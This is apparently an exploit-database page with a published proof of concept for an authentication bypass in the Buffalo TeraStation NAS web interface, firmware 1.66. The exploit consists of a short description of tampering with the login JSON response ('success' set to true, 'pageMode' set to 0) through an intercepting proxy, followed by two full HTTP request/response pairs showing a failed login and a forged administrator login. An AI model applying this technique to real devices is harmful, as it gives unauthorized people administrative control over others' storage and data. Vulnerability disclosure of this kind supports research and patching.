7cbe771564
5 changes to exploits/shellcodes Blink1Control2 2.2.7 - Weak Password Encryption Mobile Mouse 3.6.0.4 - Remote Code Execution (RCE) Airspan AirSpot 5410 version 0.3.4.1 - Remote Code Execution (RCE) Buffalo TeraStation Network Attached Storage (NAS) 1.66 - Authentication Bypass Bookwyrm v0.4.3 - Authentication Bypass
91 lines
No EOL
2.8 KiB
Text
91 lines
No EOL
2.8 KiB
Text
# Exploit Title: Buffalo TeraStation Network Attached Storage (NAS) 1.66 - Authentication Bypass
|
|
# Date: 2022-08-11
|
|
# Exploit Author: JORDAN GLOVER
|
|
# Type: WEBAPPS
|
|
# Platform: HARDWARE
|
|
# Vendor Homepage: https://www.buffalotech.com/
|
|
# Model: TeraStation Series
|
|
# Firmware Version: 1.66
|
|
# Tested on: Windows 10
|
|
|
|
|
|
An authentication bypass vulnerability found within the web interface of a Buffalo TeraStation Series Network Attached Storage (NAS) device, allows an unauthenticated malicious actor to gain administrative privileges.
|
|
|
|
The web interface can be accessed via port 80 or 443 via a web browser. Once accessed you will be presented with a login page, that requires a username and password to gain authentication to the NAS.
|
|
|
|
Using a proxy tool to intercept the request and responses, it was possible re-intercept the response and modify the JSON data, contained within the body.
|
|
|
|
If you modify the "success" to 'true' and change "Pagemode" to '0', this will grant you authentication with administrator privileges, to the NAS.
|
|
|
|
|
|
POC #1 Authentication Failure
|
|
|
|
Request
|
|
POST /dynamic.pl HTTP/1.1
|
|
Host: localhost
|
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
|
|
Accept: */*
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
X-Requested-With: XMLHttpRequest
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 45
|
|
Origin: http://localhost
|
|
Connection: close
|
|
Referer: http://localhost/static/index.html
|
|
|
|
bufaction=verifyLogin&user=Jordan&password=Jordan
|
|
|
|
|
|
Response
|
|
HTTP/1.1 200 OK
|
|
Content-type: text/html
|
|
Pragma: no-cache
|
|
Cache-Control: no-store, no-cache, must-revalidate
|
|
Cache-Control: post-check=0, pre-check=0
|
|
Expires: Thu, 01 Dec 1994 16:00:00 GMT
|
|
Connection: close
|
|
Date: Mon, 30 Jun 2008 02:39:51 GMT
|
|
Server: lighttpd/1.4.32
|
|
Content-Length: 94
|
|
|
|
{"success":false,"errors":[],"data":[{"sid":"zz69c1c4d83023374d0b786d7a5y69b0","pageMode":2}]}
|
|
|
|
Incorrect Username or Password
|
|
|
|
|
|
|
|
POC #2 Authentication Success
|
|
|
|
Request
|
|
POST /dynamic.pl HTTP/1.1
|
|
Host: localhost
|
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
|
|
Accept: */*
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
X-Requested-With: XMLHttpRequest
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: 45
|
|
Origin: http://localhost
|
|
Connection: close
|
|
Referer: http://localhost/static/index.html
|
|
|
|
bufaction=verifyLogin&user=Jordan&password=Jordan
|
|
|
|
|
|
Intercepted Response
|
|
HTTP/1.1 200 OK
|
|
Content-type: text/html
|
|
Pragma: no-cache
|
|
Cache-Control: no-store, no-cache, must-revalidate
|
|
Cache-Control: post-check=0, pre-check=0
|
|
Expires: Thu, 01 Dec 1994 16:00:00 GMT
|
|
Connection: close
|
|
Date: Mon, 30 Jun 2008 02:39:51 GMT
|
|
Server: lighttpd/1.4.32
|
|
Content-Length: 94
|
|
|
|
{"success":true,"errors":[],"data":[{"sid":"ag69c5f4x43093374d0c786k7a9y59h0","pageMode":0}]}
|
|
|
|
Login Successful |